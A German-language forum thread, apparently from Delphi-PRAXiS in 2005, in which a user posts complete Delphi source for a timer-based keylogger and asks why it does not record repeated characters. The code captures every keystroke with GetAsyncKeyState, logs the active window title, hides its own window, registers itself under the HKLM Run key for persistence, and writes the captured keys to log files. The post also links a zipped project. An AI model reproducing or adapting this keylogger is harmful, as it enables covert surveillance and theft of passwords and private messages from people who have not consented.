AGB  ·  Datenschutz  ·  Impressum  







Anmelden
Nützliche Links
Registrieren
Thema durchsuchen
Ansicht
Themen-Optionen

Keylogger ohne dll :)

Ein Thema von Aljoscha · begonnen am 29. Jun 2005 · letzter Beitrag vom 30. Jun 2005
 
Aljoscha

Registriert seit: 30. Dez 2004
97 Beiträge
 
#1

Keylogger ohne dll :)

  Alt 29. Jun 2005, 19:44
Hi.
Ich habe hier den Source eines Keyloggers, der ohne dll funktioniert.
Das ganze basiert auf Timern, doch ich verstehe es noch nicht ganz.
Also so weit ich das aus dem Source ersehen kann wird da mit einem Timer bgefangen welche taste grade gedrückt wurde in diesem Moment.
Aber warum ist das nicht wi bei anderen Keyloggern dieser Art, die ein:
Hallo
in ein
HHHHHHaaaaaaaaallllllllllllllllllllllllllllllllooo oooooo
verstümmeln?
Doppelte Buchstaben us, wird alles erkannt.
ich könnte den Source einfach kopieren, aber jetzt habe ich interesse zu verstehen wie das ganze Funktioniert
Hier der Soure und im Anhang das Projekt.

Delphi-Quellcode:
unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  ExtCtrls, registry, FileCtrl;

type
  TForm1 = class(TForm)
    Timer1: TTimer;
    Timer2: TTimer;
    Timer3: TTimer;
    procedure FormCreate(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure Timer2Timer(Sender: TObject);
    procedure Timer3Timer(Sender: TObject);
    procedure FormDestroy(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  Buffer:String;
  ventanaActual:String;
  ventanaAnterior:String;
implementation

{$R *.DFM}

procedure TForm1.FormCreate(Sender: TObject);
var Reg: TRegistry;
begin
Reg := TRegistry.Create;
try
Reg.RootKey := HKEY_LOCAL_MACHINE;
if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
 then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
function VentanaActiva: String;
var PC: Array[0..$FFF] of Char;
     Wnd : Thandle;
begin
    {$IFDEF Win32}
    Wnd := GetForegroundWindow;
    {$ELSE}
    Wnd := GetActiveWindow;
    {$ENDIF}
    SendMessage( Wnd , $000D , $FFF , LongInt( @PC ) ); //$000D es el WM_GETTEXT
    Result := PC;
end;
var i: integer;
    TeclaAnterior:String;
    letra:String;
begin
 If GetAsyncKeyState(VK_TAB)=-32767 then
 letra:=' -Tab- ';
 If GetAsyncKeyState(VK_CAPITAL)=-32767 then
 letra:=' -Caps Lock- ';
 If GetAsyncKeyState(VK_ESCAPE)=-32767 then
 letra:=' -Esc- ';
 If GetAsyncKeyState(VK_DELETE)=-32767 then
 letra:=' -Delete- ';
 if GetAsyncKeyState(13)=-32767 then
  letra:=' -Enter- ';
 if GetAsyncKeyState(8)=-32767 then
  letra:=' -Back- ';
 for i:=30 to 255 do
  if GetAsyncKeyState(i)=-32767 Then
   Case i of
    91:Letra:=' (Menu inicio) ';
    96:Letra:='0';
    97:Letra:='1';
    98:Letra:='2';
    99:Letra:='3';
    100:Letra:='4';
    101:Letra:='5';
    102:Letra:='6';
    103:Letra:='7';
    104:Letra:='8';
    105:Letra:='9';
    106:Letra:='*';
    107:Letra:='+';
    109:Letra:='-';
    110:Letra:='.';
    111:Letra:='/';
    112:Letra:=' F1 ';
    113:Letra:=' F2 ';
    114:Letra:=' F3 ';
    115:Letra:=' F4 ';
    116:Letra:=' F5 ';
    117:Letra:=' F6 ';
    118:Letra:=' F7 ';
    119:Letra:=' F8 ';
    120:Letra:=' F9 ';
    121:Letra:=' F10 ';
    122:Letra:=' F11 ';
    123:Letra:=' F12 ';
   else
    if (i<>160) and (i<>161) and (i<>45) and (i<>35) and (i<>40) and (i<>34) and (i<>37) and (i<>39) and (i<>36) and (i<>33) and (i<>48) and (i<>46) and (i<>144) and (i<>93) and (i<>92) and (i<>44) and (i<>145) and (i<>38) then
     if GetKeyState(20)=1 then //si estan activadas las mayusculas
      begin
       letra:=UpCase(chr(i));//la paso a mayuscula
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra := LowerCase(chr(i))
      end
     else //Si no estan activadas las mayusculas
      begin
       letra:=LowerCase(chr(i));
       if (GetAsyncKeyState(16)=-32768) or (GetAsyncKeyState(16)=-32768) then//si tengo presionado shift
        letra:=UpCase(chr(i))
      end;
      end;
     VentanaAnterior:=VentanaActual;
     VentanaActual:=VentanaActiva;
     If (ventanaActual='üý') or (ventanaActual='') then
      Exit;
     If ventanaAnterior<>VentanaActiva then
      Begin
       Buffer:=buffer+ #13#10 + '[' + VentanaActual + ']' + #13#10;
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End
     Else
      Begin
       if letra <> TeclaAnterior then
        Begin
         TeclaAnterior:=Letra;
         Buffer:=Buffer+Letra;
        End;
      End;
end;

procedure TForm1.Timer2Timer(Sender: TObject);
begin
Form1.Hide;
Timer1.Enabled:=True;
Timer2.Enabled:=False;
end;

procedure TForm1.Timer3Timer(Sender: TObject);
Var archivo: TextFile;
    X:integer;
begin
 For X:=0 to 5000 do
  Begin
   AssignFile(Archivo,'log'+IntToStr(X)+'.txt');
   {$I-}Reset(Archivo);{$I+}
    If IOResult<>0 then
     Begin
      Rewrite(Archivo);
      Writeln(Archivo,DateTimeToStr(Now));
      Writeln(Archivo);
      Write(Archivo,Buffer);
      CloseFile(Archivo);
      Buffer:='';
      Exit;
     End;
  End;
End;

procedure TForm1.FormDestroy(Sender: TObject);
var Reg:TRegistry;
begin
Reg := TRegistry.Create;
 try
  Reg.RootKey := HKEY_LOCAL_MACHINE;
  if Reg.OpenKey('\Software\Microsoft\Windows\CurrentVersion\Run', True)
   then Reg.WriteString('SysUtils','"' + ParamStr(0) + '"');
 finally
   Reg.CloseKey;
   Reg.Free;
 inherited;
 end;
Timer3.OnTimer(Sender);
end;

end.
Angehängte Dateien
Dateityp: zip simple_key1905286242005_228.zip (11,1 KB, 106x aufgerufen)
  Mit Zitat antworten Zitat
 


Forumregeln

Es ist dir nicht erlaubt, neue Themen zu verfassen.
Es ist dir nicht erlaubt, auf Beiträge zu antworten.
Es ist dir nicht erlaubt, Anhänge hochzuladen.
Es ist dir nicht erlaubt, deine Beiträge zu bearbeiten.

BB-Code ist an.
Smileys sind an.
[IMG] Code ist an.
HTML-Code ist aus.
Trackbacks are an
Pingbacks are an
Refbacks are aus

Gehe zu:

Impressum · AGB · Datenschutz · Nach oben
Alle Zeitangaben in WEZ +1. Es ist jetzt 05:02 Uhr.
Powered by vBulletin® Copyright ©2000 - 2025, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz